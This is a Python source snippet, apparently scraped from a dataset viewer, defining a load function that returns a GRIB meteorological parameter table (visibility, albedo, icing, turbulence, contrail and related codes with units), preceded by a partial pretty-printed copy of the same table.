{'abbr': 4, 'code': 4, 'title': 'Volcanic ash', 'units': 'Code table 4.206'},
{'abbr': 5, 'code': 5, 'title': 'Icing top', 'units': 'm'},
{'abbr': 6, 'code': 6, 'title': 'Icing base', 'units': 'm'},
{'abbr': 7, 'code': 7, 'title': 'Icing', 'units': 'Code table 4.207'},
{'abbr': 8, 'code': 8, 'title': 'Turbulence top', 'units': 'm'},
{'abbr': 9, 'code': 9, 'title': 'Turbulence base', 'units': 'm'},
{'abbr': 10, 'code': 10, 'title': 'Turbulence', 'units': 'Code table 4.208'},
{'abbr': 11, 'code': 11, 'title': 'Turbulent kinetic energy', 'units': 'J/kg'},
{'abbr': 12,
'code': 12,
'title': 'Planetary boundary-layer regime',
'units': 'Code table 4.209'},
{'abbr': 13,
'code': 13,
'title': 'Contrail intensity',
'units': 'Code table 4.210'},
{'abbr': 14,
'code': 14,
'title': 'Contrail engine type',
'units': 'Code table 4.211'},
{'abbr': 15, 'code': 15, 'title': 'Contrail top', 'units': 'm'},
{'abbr': 16, 'code': 16, 'title': 'Contrail base', 'units': 'm'},
{'abbr': 17, 'code': 17, 'title': 'Maximum snow albedo', 'units': '%'},
{'abbr': 18, 'code': 18, 'title': 'Snow free albedo', 'units': '%'},
{'abbr': 19, 'code': 19, 'title': 'Snow albedo', 'units': '%'},
{'abbr': 20, 'code': 20, 'title': 'Icing', 'units': '%'},
{'abbr': 21, 'code': 21, 'title': 'In-cloud turbulence', 'units': '%'},
{'abbr': 22, 'code': 22, 'title': 'Clear air turbulence (CAT)', 'units': '%'},
{'abbr': 23,
'code': 23,
'title': 'Supercooled large droplet probability',
'units': '%'},
{'abbr': 24,
'code': 24,
'title': 'Convective turbulent kinetic energy',
'units': 'J/kg'},
{'abbr': 25, 'code': 25, 'title': 'Weather', 'units': 'Code table 4.225'},
{'abbr': 26,
'code': 26,
'title': 'Convective outlook',
'units': 'Code table 4.224'},
{'abbr': 27,
'code': 27,
'title': 'Icing scenario',
'units': 'Code table 4.227'},
{'abbr': None, 'code': 255, 'title': 'Missing'})
| def load(h):
return ({'abbr': 0, 'code': 0, 'title': 'Visibility', 'units': 'm'}, {'abbr': 1, 'code': 1, 'title': 'Albedo', 'units': '%'}, {'abbr': 2, 'code': 2, 'title': 'Thunderstorm probability', 'units': '%'}, {'abbr': 3, 'code': 3, 'title': 'Mixed layer depth', 'units': 'm'}, {'abbr': 4, 'code': 4, 'title': 'Volcanic ash', 'units': 'Code table 4.206'}, {'abbr': 5, 'code': 5, 'title': 'Icing top', 'units': 'm'}, {'abbr': 6, 'code': 6, 'title': 'Icing base', 'units': 'm'}, {'abbr': 7, 'code': 7, 'title': 'Icing', 'units': 'Code table 4.207'}, {'abbr': 8, 'code': 8, 'title': 'Turbulence top', 'units': 'm'}, {'abbr': 9, 'code': 9, 'title': 'Turbulence base', 'units': 'm'}, {'abbr': 10, 'code': 10, 'title': 'Turbulence', 'units': 'Code table 4.208'}, {'abbr': 11, 'code': 11, 'title': 'Turbulent kinetic energy', 'units': 'J/kg'}, {'abbr': 12, 'code': 12, 'title': 'Planetary boundary-layer regime', 'units': 'Code table 4.209'}, {'abbr': 13, 'code': 13, 'title': 'Contrail intensity', 'units': 'Code table 4.210'}, {'abbr': 14, 'code': 14, 'title': 'Contrail engine type', 'units': 'Code table 4.211'}, {'abbr': 15, 'code': 15, 'title': 'Contrail top', 'units': 'm'}, {'abbr': 16, 'code': 16, 'title': 'Contrail base', 'units': 'm'}, {'abbr': 17, 'code': 17, 'title': 'Maximum snow albedo', 'units': '%'}, {'abbr': 18, 'code': 18, 'title': 'Snow free albedo', 'units': '%'}, {'abbr': 19, 'code': 19, 'title': 'Snow albedo', 'units': '%'}, {'abbr': 20, 'code': 20, 'title': 'Icing', 'units': '%'}, {'abbr': 21, 'code': 21, 'title': 'In-cloud turbulence', 'units': '%'}, {'abbr': 22, 'code': 22, 'title': 'Clear air turbulence (CAT)', 'units': '%'}, {'abbr': 23, 'code': 23, 'title': 'Supercooled large droplet probability', 'units': '%'}, {'abbr': 24, 'code': 24, 'title': 'Convective turbulent kinetic energy', 'units': 'J/kg'}, {'abbr': 25, 'code': 25, 'title': 'Weather', 'units': 'Code table 4.225'}, {'abbr': 26, 'code': 26, 'title': 'Convective outlook', 'units': 'Code table 4.224'}, {'abbr': 27, 'code': 27, 'title': 'Icing scenario', 'units': 'Code table 4.227'}, {'abbr': None, 'code': 255, 'title': 'Missing'}) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.